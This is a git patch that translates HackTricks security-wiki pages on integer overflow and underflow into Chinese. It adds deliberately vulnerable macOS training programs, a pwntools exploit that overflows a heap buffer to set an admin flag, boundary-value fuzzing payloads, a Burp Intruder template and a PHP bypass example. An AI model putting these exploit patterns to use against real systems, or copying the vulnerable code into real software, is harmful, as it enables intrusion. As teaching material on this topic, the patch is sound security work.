From 316e14aa7895d1723aa7d753903bf193accd6d81 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 7 Sep 2025 14:59:06 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo --- src/SUMMARY.md | 2 +- .../integer-overflow-and-underflow.md | 368 ++++++++++++++++++ src/binary-exploitation/integer-overflow.md | 115 ------ .../integer-overflow.md | 79 ++-- 4 files changed, 409 insertions(+), 155 deletions(-) create mode 100644 src/binary-exploitation/integer-overflow-and-underflow.md delete mode 100644 src/binary-exploitation/integer-overflow.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 9a62d47c5..dab618a10 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -785,7 +785,7 @@ - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) -- [Integer Overflow](binary-exploitation/integer-overflow.md) +- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md) - [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md new file mode 100644 index 000000000..47c0aae4d --- /dev/null +++ b/src/binary-exploitation/integer-overflow-and-underflow.md @@ -0,0 +1,368 @@ +# Integer Overflow + +{{#include ../banners/hacktricks-training.md}} + +## 基本信息 + +在**integer overflow** 的核心是计算机编程中数据类型的**大小**限制以及对数据的**解释**。 + +例如,一个**8-bit unsigned integer**可以表示从**0 到 255**的数值。如果你试图把 256 存入一个 8-bit unsigned integer,由于存储容量的限制,它会回绕到 0。类似地,**16-bit unsigned integer**可以表示**0 到 65,535**,对 65,535 加 1 会使值回绕到 0。 + +此外,一个**8-bit signed integer**可以表示从**-128 到 127**的数值。这是因为一位用于表示符号(正或负),剩下的 7 位用于表示数值大小。最小的负数表示为 **-128**(二进制 `10000000`),而最大的正数为 **127**(二进制 `01111111`)。 + +常见整数类型的取值范围: +| 类型 | 大小(bits) | 最小值 | 最大值 | +|----------------|-------------|--------------------|--------------------| +| int8_t | 8 | -128 | 127 | +| uint8_t | 8 | 0 | 255 | +| int16_t | 16 | -32,768 | 32,767 | +| uint16_t | 16 | 0 | 65,535 | +| int32_t | 32 | -2,147,483,648 | 2,147,483,647 | +| uint32_t | 32 | 0 | 4,294,967,295 | +| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 | +| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 | + +在 64 位系统中,short 等价于 `int16_t`,int 等价于 `int32_t`,long 等价于 `int64_t`。 + +### 最大值 + +对于潜在的 **web vulnerabilities**,了解最大支持值非常重要: + +{{#tabs}} +{{#tab name="Rust"}} +```rust +fn main() { + +let mut quantity = 2147483647; + +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); + +println!("{}", mul_result); +println!("{}", add_result); +} +``` +{{#endtab}} + +{{#tab name="C"}} +```c +#include +#include + +int main() { +int a = INT_MAX; +int b = 0; +int c = 0; + +b = a * 100; +c = a + 1; + +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; +} +``` +{{#endtab}} +{{#endtabs}} + +## 示例 + +### 纯溢出 + +打印结果将是 0,因为我们使 char 溢出: +```c +#include + +int main() { +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; +} +``` +### Signed to Unsigned Conversion + +考虑一种情况:从用户输入读取一个有符号整数,然后在将其视为无符号整数的上下文中使用,且没有进行适当验证: +```c +#include + +int main() { +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); + +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; + +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} + +return 0; +} +``` +在这个示例中,如果用户输入一个负数,由于二进制值的解释方式,它会被解释为一个大的无符号整数,可能导致意外行为。 + +### macOS 溢出示例 +```c +#include +#include +#include +#include +#include + +/* +* Realistic integer-overflow → undersized allocation → heap overflow → flag +* Works on macOS arm64 (no ret2win required; avoids PAC/CFI). +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // Target to flip from 0 → 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY) +const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine) +size_t got = 0; + +printf("Requested bytes: %zu\n", want); + +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; + +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { +got += (size_t)n; +continue; +} +if (n == 0) { +// EOF – stop; partial reads are fine for our exploit +break; +} +// n < 0: real error (likely EINVAL when chunk too big on some FDs) +perror("read"); +break; +} +return got; +} + + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Bundle Importer (training) ==="); + +// 1) Read attacker-controlled parameters (use large values) +size_t count = 0, elem_size = 0; +printf("Entry count: "); +if (scanf("%zu", &count) != 1) return 1; +printf("Entry size: "); +if (scanf("%zu", &elem_size) != 1) return 1; + +// 2) Compute total bytes with a 32-bit truncation bug (vulnerability) +// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header. +uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit. +/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits +Then, product32 = 0 +*/ +uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32 +printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32); + +// 3) Allocate a single arena and lay out [buffer][slack][session] +// This makes adjacency deterministic (no reliance on system malloc order). +const size_t SLACK = 512; +size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; // In this buffer the attacker will copy data +struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48 +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, alloc32, (void*)sess, +((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16). + +// 4) Copy uses native size_t product (no truncation) → It generates an overflow +size_t to_copy = count * elem_size; // <-- Large size_t +printf("[dbg] requested copy (size_t) = %zu\n", to_copy); + +puts(">> Send bundle payload on stdin (EOF to finish)..."); +size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1 +printf("[dbg] actually read = %zu bytes\n", got); + +// 5) Privileged action gated by a field next to the overflow target +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +使用以下命令编译: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_ovf_heap_priv int_ovf_heap_priv.c +``` +#### Exploit +```python +# exploit.py +from pwn import * + +# Keep logs readable; switch to "debug" if you want full I/O traces +context.log_level = "info" + +EXE = "./int_ovf_heap_priv" + +def main(): +# IMPORTANT: use plain pipes, not PTY +io = process([EXE]) # stdin=PIPE, stdout=PIPE by default + +# 1) Drive the prompts +io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0 +io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48 + +# 2) Wait until it’s actually reading the payload +io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...") + +# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian) +payload = b"A" * 48 + p32(1) + +# 4) Send payload, THEN send EOF via half-close on the pipe +io.send(payload) +io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary + +# 5) Read the rest (should print admin + FLAG) +print(io.recvall(timeout=5).decode(errors="ignore")) + +if __name__ == "__main__": +main() +``` +### macOS Underflow 示例 +```c +#include +#include +#include +#include +#include + +/* +* Integer underflow -> undersized allocation + oversized copy -> heap overwrite +* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin. +*/ + +__attribute__((noinline)) +void win(void) { +puts("🎉 EXPLOITATION SUCCESSFUL 🎉"); +puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}"); +exit(0); +} + +struct session { +int is_admin; // flip 0 -> 1 +char note[64]; +}; + +static size_t read_stdin(void *dst, size_t want) { +// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY. +const size_t MAX_CHUNK = 1 << 20; // 1 MiB +size_t got = 0; +printf("[dbg] Requested bytes: %zu\n", want); +while (got < want) { +size_t remain = want - got; +size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain; +ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk); +if (n > 0) { got += (size_t)n; continue; } +if (n == 0) break; // EOF: partial read is fine +perror("read"); break; +} +return got; +} + +int main(void) { +setvbuf(stdout, NULL, _IONBF, 0); +puts("=== Packet Importer (UNDERFLOW training) ==="); + +size_t total_len = 0; +printf("Total packet length: "); +if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8" + +const size_t HEADER = 16; + +// **BUG**: size_t underflow if total_len < HEADER +size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned +// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number) +printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n", +total_len, HEADER, payload_len); + +// Build a deterministic arena: [buf of total_len][16 gap][session][slack] +const size_t SLACK = 256; +size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160) +unsigned char *arena = (unsigned char*)malloc(arena_sz); +if (!arena) { perror("malloc"); return 1; } +memset(arena, 0, arena_sz); + +unsigned char *buf = arena; +struct session *sess = (struct session*)(arena + total_len + 16); +// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18) +sess->is_admin = 0; +strncpy(sess->note, "regular user", sizeof(sess->note)-1); + +printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n", +(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16); + +puts(">> Send payload bytes (EOF to finish)..."); +size_t got = read_stdin(buf, payload_len); +// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1 +printf("[dbg] actually read = %zu bytes\n", got); + +if (sess->is_admin) { +puts("[dbg] admin privileges detected"); +win(); +} else { +puts("[dbg] normal user"); +} +return 0; +} +``` +使用以下命令编译: +```bash +clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \ +-o int_underflow_heap int_underflow_heap.c +``` +### Other Examples + +- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) +- 密码长度只用 1B 存储,因此可以溢出它,使它认为长度为 4,而实际上为 260,从而绕过长度检查保护 +- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) + +- 给定几个数字,使用 z3 找出一个新的数字,使得该数字乘以第一个数等于第二个数: + +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` + +- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) +- 密码长度只用 1B 存储,因此可以溢出它,使它认为长度为 4,而实际上为 260,从而绕过长度检查保护并在栈上覆盖下一个局部变量,从而绕过两个保护措施 + +## ARM64 + +这一点 **doesn't change in ARM64**,正如你可以在 [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) 中看到的。 + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md deleted file mode 100644 index 13952c6b8..000000000 --- a/src/binary-exploitation/integer-overflow.md +++ /dev/null @@ -1,115 +0,0 @@ -# 整数溢出 - -{{#include ../banners/hacktricks-training.md}} - -## 基本信息 - -在**整数溢出**的核心是计算机编程中数据类型的**大小**所施加的限制和数据的**解释**。 - -例如,一个**8位无符号整数**可以表示从**0到255**的值。如果你尝试在8位无符号整数中存储值256,由于其存储容量的限制,它会回绕到0。同样,对于一个**16位无符号整数**,它可以容纳从**0到65,535**的值,将1加到65,535会将值回绕到0。 - -此外,一个**8位有符号整数**可以表示从**-128到127**的值。这是因为一个位用于表示符号(正或负),剩下7个位用于表示大小。最小的负数表示为**-128**(二进制`10000000`),最大的正数是**127**(二进制`01111111`)。 - -### 最大值 - -对于潜在的**网络漏洞**,了解最大支持值是非常有趣的: - -{{#tabs}} -{{#tab name="Rust"}} -```rust -fn main() { - -let mut quantity = 2147483647; - -let (mul_result, _) = i32::overflowing_mul(32767, quantity); -let (add_result, _) = i32::overflowing_add(1, quantity); - -println!("{}", mul_result); -println!("{}", add_result); -} -``` -{{#endtab}} - -{{#tab name="C"}} -```c -#include -#include - -int main() { -int a = INT_MAX; -int b = 0; -int c = 0; - -b = a * 100; -c = a + 1; - -printf("%d\n", INT_MAX); -printf("%d\n", b); -printf("%d\n", c); -return 0; -} -``` -{{#endtab}} -{{#endtabs}} - -## 示例 - -### 纯溢出 - -打印的结果将是 0,因为我们溢出了 char: -```c -#include - -int main() { -unsigned char max = 255; // 8-bit unsigned integer -unsigned char result = max + 1; -printf("Result: %d\n", result); // Expected to overflow -return 0; -} -``` -### Signed to Unsigned Conversion - -考虑一种情况,其中从用户输入读取一个有符号整数,然后在一个将其视为无符号整数的上下文中使用,而没有进行适当的验证: -```c -#include - -int main() { -int userInput; // Signed integer -printf("Enter a number: "); -scanf("%d", &userInput); - -// Treating the signed input as unsigned without validation -unsigned int processedInput = (unsigned int)userInput; - -// A condition that might not work as intended if userInput is negative -if (processedInput > 1000) { -printf("Processed Input is large: %u\n", processedInput); -} else { -printf("Processed Input is within range: %u\n", processedInput); -} - -return 0; -} -``` -在这个例子中,如果用户输入一个负数,由于二进制值的解释方式,它将被解释为一个大的无符号整数,这可能导致意外行为。 - -### 其他示例 - -- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) -- 仅使用 1B 来存储密码的大小,因此可能会溢出并使其认为长度为 4,而实际上是 260,以绕过长度检查保护 -- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - -- 给定几个数字,使用 z3 找出一个新数字,使其与第一个数字相乘得到第二个数字: - -``` -(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) -``` - -- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) -- 仅使用 1B 来存储密码的大小,因此可能会溢出并使其认为长度为 4,而实际上是 260,以绕过长度检查保护并在栈中覆盖下一个局部变量,从而绕过这两种保护 - -## ARM64 - -这在 ARM64 中**没有变化**,正如你在 [**这篇博客文章**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)中看到的。 - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md index 800b6e878..734d7058e 100644 --- a/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md +++ b/src/pentesting-web/xss-cross-site-scripting/integer-overflow.md @@ -1,38 +1,37 @@ -# 整数溢出(Web 应用程序) +# 整数溢出(Web 应用) {{#include ../../banners/hacktricks-training.md}} -> 本页面重点介绍如何在 **Web 应用程序和浏览器中滥用整数溢出/截断**。有关本地二进制文件中的利用原语,您可以继续阅读专门的页面: +> 本页侧重于说明**如何在 Web 应用和浏览器中滥用整数溢出/截断**。对于本地二进制(native binaries)中的 exploitation primitives,你可以继续阅读专门页面: > > {{#ref}} > ../../binary-exploitation/integer-overflow-and-underflow.md -> -{{#endref}} +> {{#endref}} --- -## 1. 为什么整数数学在 Web 上仍然重要 +## 1. 为什么整数运算在 Web 上仍然重要 -尽管现代堆栈中的大多数业务逻辑是用 *内存安全* 语言编写的,但底层运行时(或第三方库)最终是用 C/C++ 实现的。每当使用用户控制的数字来分配缓冲区、计算偏移量或执行长度检查时,**32 位或 64 位的环绕可能会将一个看似无害的参数转变为越界读/写、逻辑绕过或拒绝服务(DoS)**。 +尽管现代技术栈的大多数业务逻辑都是用 *memory-safe* 语言编写,但底层运行时(或第三方库)最终仍然由 C/C++ 实现。每当用户可控的数值用于分配缓冲区、计算偏移或执行长度检查时,**32 位或 64 位的环绕(wrap-around)可能会把一个看似无害的参数转变为越界读/写、逻辑绕过或 DoS**。 典型攻击面: -1. **数字请求参数** – 经典的 id、偏移量或计数字段。 -2. **长度/大小头部** – Content-Length、WebSocket 帧长度、HTTP/2 continuation_len 等。 -3. **服务器端或客户端解析的文件格式元数据** – 图像尺寸、块大小、字体表。 -4. **语言级转换** – PHP/Go/Rust FFI 中的有符号↔无符号转换,V8 中的 JS Number → int32 截断。 -5. **身份验证和业务逻辑** – 优惠券值、价格或余额计算静默溢出。 +1. **Numeric request parameters** – 典型的 id、offset 或 count 字段。 +2. **Length / size headers** – Content-Length、WebSocket frame length、HTTP/2 continuation_len 等。 +3. **File-format metadata parsed server-side or client-side** – image dimensions、chunk sizes、font tables。 +4. **Language-level conversions** – PHP/Go/Rust FFI 中的 signed↔unsigned casts,JS Number → int32 在 V8 内部的截断。 +5. **Authentication & business logic** – 优惠券值、价格或余额计算在无提示情况下溢出。 --- -## 2. 最近的现实世界漏洞(2023-2025) +## 2. 最近的真实世界漏洞(2023-2025) -| 年份 | 组件 | 根本原因 | 影响 | +| Year | Component | Root cause | Impact | |------|-----------|-----------|--------| -| 2023 | **libwebp – CVE-2023-4863** | 计算解码像素大小时的 32 位乘法溢出 | 触发了 Chrome 0-day(iOS 上的 BLASTPASS),允许在渲染器沙箱内 *远程代码执行*。 | -| 2024 | **V8 – CVE-2024-0519** | 在增长 JSArray 时截断为 32 位导致对后备存储的越界写入 | 单次访问后远程代码执行。 | -| 2025 | **Apollo GraphQL 服务器**(未发布补丁) | 用于第一页/最后一页分页参数的 32 位有符号整数;负值环绕到巨大的正值 | 逻辑绕过和内存耗尽(DoS)。 | +| 2023 | **libwebp – CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. | +| 2024 | **V8 – CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. | +| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). | --- @@ -40,7 +39,7 @@ ### 3.1 边界值备忘单 -在期望整数的地方发送 **极端的有符号/无符号值**: +在任何期望整数的位置发送 **极端的有符号/无符号值**: ``` -1, 0, 1, 127, 128, 255, 256, @@ -50,27 +49,27 @@ 0x7fffffff, 0x80000000, 0xffffffff ``` 其他有用的格式: -* 十六进制 (0x100),八进制 (0377),科学计数法 (1e10),JSON 大整数 (9999999999999999999)。 -* 非常长的数字字符串 (>1kB) 以触发自定义解析器。 +* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999). +* 非常长的数字字符串 (>1kB) 用于触发自定义解析器。 -### 3.2 Burp Intruder 模板 +### 3.2 Burp Intruder template ``` §INTEGER§ Payload type: Numbers From: -10 To: 4294967300 Step: 1 Pad to length: 10, Enable hex prefix 0x ``` -### 3.3 模糊测试库和运行时 +### 3.3 Fuzzing libraries & runtimes -* **AFL++/Honggfuzz** 与 libFuzzer 结合使用,围绕解析器(例如,WebP、PNG、protobuf)。 -* **Fuzzilli** – 语法感知的 JavaScript 引擎模糊测试,以触及 V8/JSC 整数截断。 -* **boofuzz** – 网络协议模糊测试(WebSocket、HTTP/2),重点关注长度字段。 +* **AFL++/Honggfuzz** 使用 libFuzzer harness 围绕解析器(例如 WebP、PNG、protobuf)。 +* **Fuzzilli** – 基于语法的 fuzzing JavaScript 引擎,以触发 V8/JSC 的整数截断。 +* **boofuzz** – 网络协议 fuzzing(WebSocket、HTTP/2),聚焦长度字段。 --- -## 4. 利用模式 +## 4. Exploitation patterns -### 4.1 服务器端代码中的逻辑绕过(PHP 示例) +### 4.1 Logic bypass in server-side code (PHP example) ```php $price = (int)$_POST['price']; // expecting cents (0-10000) $total = $price * 100; // ← 32-bit overflow possible @@ -79,28 +78,30 @@ die('Too expensive'); } /* Sending price=21474850 → $total wraps to ‑2147483648 and check is bypassed */ ``` -### 4.2 通过图像解码器的堆溢出 (libwebp 0-day) -WebP 无损解码器在 32 位整数内将图像宽度 × 高度 × 4 (RGBA) 相乘。一个尺寸为 16384 × 16384 的精心制作的文件会导致乘法溢出,分配一个短缓冲区,并随后将 **~1GB** 的解压数据写入堆中 – 导致在 116.0.5845.187 之前的每个基于 Chromium 的浏览器中发生 RCE。 +### 4.2 Heap overflow via image decoder (libwebp 0-day) +WebP 无损解码器在 32-bit int 中将 image width × height × 4 (RGBA) 相乘。一个尺寸为 16384 × 16384 的精心构造文件会使乘法溢出,分配一个较小的缓冲区,并随后将 **~1GB** 的解压数据写出堆边界,导致在 116.0.5845.187 之前的所有 Chromium-based 浏览器出现 RCE。 ### 4.3 基于浏览器的 XSS/RCE 链 -1. **整数溢出** 在 V8 中提供任意读/写。 -2. 通过第二个漏洞逃逸沙箱或调用本地 API 以投放有效载荷。 -3. 有效载荷随后将恶意脚本注入原始上下文 → 存储的 XSS。 +1. **Integer overflow** in V8 gives arbitrary read/write. +2. 通过第二个漏洞越出沙箱,或调用本地 API 来 drop a payload。 +3. 然后 payload 将恶意脚本注入 origin context → 造成 stored XSS。 --- ## 5. 防御指南 -1. **使用宽类型或检查数学** – 例如,size_t、Rust checked_add、Go math/bits.Add64。 -2. **尽早验证范围**:在算术运算之前拒绝任何超出业务范围的值。 -3. **启用编译器消毒器**:-fsanitize=integer, UBSan, Go race detector。 -4. **在 CI/CD 中采用模糊测试** – 将覆盖反馈与边界语料库结合。 -5. **保持补丁更新** – 浏览器整数溢出漏洞通常在几周内被利用。 +1. **Use wide types or checked math** – 例如 size_t、Rust 的 checked_add、Go 的 math/bits.Add64。 +2. **Validate ranges early**:在算术运算前拒绝任何超出业务域的值。 +3. **Enable compiler sanitizers**:-fsanitize=integer、UBSan、Go race detector。 +4. **Adopt fuzzing in CI/CD** – 将覆盖率反馈与边界语料结合。 +5. **Stay patched** – 浏览器中的 integer overflow 漏洞常在数周内被 weaponised。 --- -## 参考文献 -* [NVD CVE-2023-4863 – libwebp 堆缓冲区溢出](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) -* [Google Project Zero – "理解 V8 CVE-2024-0519"](https://googleprojectzero.github.io/) + +## References + +* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) +* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/) {{#include ../../banners/hacktricks-training.md}}